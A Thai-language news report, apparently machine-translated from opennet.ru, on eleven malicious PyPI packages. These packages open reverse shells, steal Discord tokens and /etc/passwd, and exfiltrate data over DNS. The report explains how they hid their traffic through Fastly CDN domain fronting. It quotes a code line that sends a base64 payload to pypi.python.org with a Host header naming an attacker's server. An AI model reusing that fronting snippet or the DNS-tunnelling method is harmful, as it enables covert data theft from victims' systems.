ตรวจพบไลบรารีที่เป็นอันตรายในแค็ตตาล็อก PyPI ที่ใช้ PyPI CDN เพื่อซ่อนช่องทางการสื่อสาร

ในไดเร็กทอรี PyPI (Python Package Index) มีการระบุแพ็คเกจ 11 รายการที่มีโค้ดที่เป็นอันตราย ก่อนที่จะระบุปัญหา มีการดาวน์โหลดแพ็คเกจทั้งหมดประมาณ 38 ครั้ง แพ็คเกจที่เป็นอันตรายที่ตรวจพบนั้นมีความโดดเด่นในการใช้วิธีการที่ซับซ้อนเพื่อซ่อนช่องทางการสื่อสารกับเซิร์ฟเวอร์ของผู้โจมตี

  • แพ็คเกจสำคัญ (ดาวน์โหลด 6305 ครั้ง) แพ็คเกจสำคัญ (12897) - สร้างการเชื่อมต่อกับเซิร์ฟเวอร์ภายนอกภายใต้หน้ากากของการเชื่อมต่อกับ pypi.python.org เพื่อให้การเข้าถึงเชลล์ไปยังระบบ (เชลล์ย้อนกลับ) และใช้โปรแกรม trevorc2 เพื่อซ่อน ช่องทางการสื่อสาร
  • pptest (10001), ipboards (946) - ใช้ DNS เป็นช่องทางการสื่อสารเพื่อส่งข้อมูลเกี่ยวกับระบบ (ในแพ็คเก็ตแรกชื่อโฮสต์, ไดเร็กทอรีการทำงาน, IP ภายในและภายนอกในแพ็คเก็ตที่สอง - ชื่อผู้ใช้และชื่อโฮสต์) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ระบุโทเค็นบริการ Discord ในระบบและส่งไปยังโฮสต์ภายนอก
  • trrfab (287) - ส่งตัวระบุ ชื่อโฮสต์ และเนื้อหาของ /etc/passwd, /etc/hosts, /home ไปยังโฮสต์ภายนอก
  • 10Cent10 (490) - สร้างการเชื่อมต่อเชลล์แบบย้อนกลับกับโฮสต์ภายนอก
  • yandex-yt (4183) - แสดงข้อความเกี่ยวกับระบบที่ถูกบุกรุกและเปลี่ยนเส้นทางไปยังหน้าพร้อมข้อมูลเพิ่มเติมเกี่ยวกับการดำเนินการเพิ่มเติมที่ออกผ่าน nda.ya.ru (api.ya.cc)

สิ่งที่น่าสังเกตเป็นพิเศษคือวิธีการเข้าถึงโฮสต์ภายนอกที่ใช้ในแพ็คเกจสำคัญและแพ็คเกจแพ็คเกจสำคัญ ซึ่งใช้เครือข่ายการจัดส่งเนื้อหา Fastly ที่ใช้ในไดเร็กทอรี PyPI เพื่อซ่อนกิจกรรมของพวกเขา อันที่จริงแล้ว คำขอถูกส่งไปยังเซิร์ฟเวอร์ pypi.python.org (รวมถึงการระบุชื่อ python.org ใน SNI ภายในคำขอ HTTPS) แต่ส่วนหัว HTTP “Host” มีชื่อของเซิร์ฟเวอร์ที่ควบคุมโดยผู้โจมตี (วินาที. forward.io.global.prod.fastly.net) เครือข่ายการจัดส่งเนื้อหาส่งคำขอที่คล้ายกันไปยังเซิร์ฟเวอร์ที่ถูกโจมตี โดยใช้พารามิเตอร์ของการเชื่อมต่อ TLS ไปยัง pypi.python.org เมื่อส่งข้อมูล

โครงสร้างพื้นฐาน PyPI ขับเคลื่อนโดยเครือข่ายการจัดส่งเนื้อหา Fastly ซึ่งใช้พร็อกซีโปร่งใส Varnish เพื่อแคชคำขอทั่วไป และยังใช้การประมวลผลใบรับรอง TLS ที่ระดับ CDN แทนที่จะใช้ที่เซิร์ฟเวอร์ปลายทาง เพื่อส่งต่อคำขอ HTTPS ผ่านพร็อกซี ไม่ว่าโฮสต์เป้าหมายจะเป็นเช่นไร คำขอจะถูกส่งไปยังพร็อกซี ซึ่งจะกำหนดโฮสต์ที่ต้องการโดยใช้ส่วนหัว HTTP “Host” และชื่อโดเมนโฮสต์จะเชื่อมโยงกับที่อยู่ IP ของตัวจัดสรรภาระงาน CDN ซึ่งเป็นเรื่องปกติสำหรับไคลเอ็นต์ Fastly ทั้งหมด

เซิร์ฟเวอร์ของผู้โจมตียังลงทะเบียนกับ CDN Fastly ซึ่งมอบแผนฟรีให้กับทุกคนและยังอนุญาตให้ลงทะเบียนโดยไม่เปิดเผยตัวตนอีกด้วย เป็นที่น่าสังเกตว่าในการส่งคำขอไปยังเหยื่อเมื่อสร้าง "เชลล์ย้อนกลับ" นั้นจะใช้รูปแบบเช่นกัน แต่เริ่มต้นจากโฮสต์ของผู้โจมตี จากภายนอก การโต้ตอบกับเซิร์ฟเวอร์ของผู้โจมตีดูเหมือนเซสชันที่ถูกต้องกับไดเร็กทอรี PyPI ซึ่งเข้ารหัสโดยใช้ใบรับรอง PyPI TLS เทคนิคที่คล้ายกันซึ่งเรียกว่า "การบังหน้าโดเมน" ก่อนหน้านี้เคยถูกใช้อย่างแข็งขันเพื่อซ่อนชื่อโฮสต์เมื่อหลีกเลี่ยงการบล็อก โดยใช้ความสามารถที่มีให้ในเครือข่าย CDN บางแห่งเพื่อเข้าถึง HTTPS โดยการระบุโฮสต์ที่สมมติขึ้นใน SNI และส่งชื่อของ โฮสต์ที่ร้องขอในส่วนหัวของโฮสต์ HTTP ภายในเซสชัน TLS

ตรวจพบไลบรารีที่เป็นอันตรายในแค็ตตาล็อก PyPI ที่ใช้ PyPI CDN เพื่อซ่อนช่องทางการสื่อสาร

เพื่อซ่อนกิจกรรมที่เป็นอันตราย แพ็คเกจ TrevorC2 ยังถูกใช้เพิ่มเติมเพื่อสร้างการโต้ตอบกับเซิร์ฟเวอร์คล้ายกับการนำทางเว็บทั่วไป ตัวอย่างเช่น คำขอที่เป็นอันตรายถูกส่งไปภายใต้หน้ากากของการดาวน์โหลดรูปภาพ “https://pypi.python.org/images/ guid=” พร้อมการเข้ารหัสข้อมูลในพารามิเตอร์ guid url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {'Host': “psec.forward.io.global.prod.fastly.net”})

แพ็คเกจ pptest และ ipboards ใช้วิธีการอื่นในการซ่อนกิจกรรมเครือข่าย โดยอิงจากการเข้ารหัสข้อมูลที่เป็นประโยชน์ในการสืบค้นไปยังเซิร์ฟเวอร์ DNS มัลแวร์ส่งข้อมูลโดยดำเนินการคำขอ DNS เช่น “nu4timjagq4fimbuhe.example.com” ซึ่งข้อมูลที่ส่งไปยังเซิร์ฟเวอร์ควบคุมจะถูกเข้ารหัสโดยใช้รูปแบบ base64 ในชื่อโดเมนย่อย ผู้โจมตีได้รับข้อความเหล่านี้โดยการควบคุมเซิร์ฟเวอร์ DNS สำหรับโดเมน example.com

ที่มา: opennet.ru

เพิ่มความคิดเห็น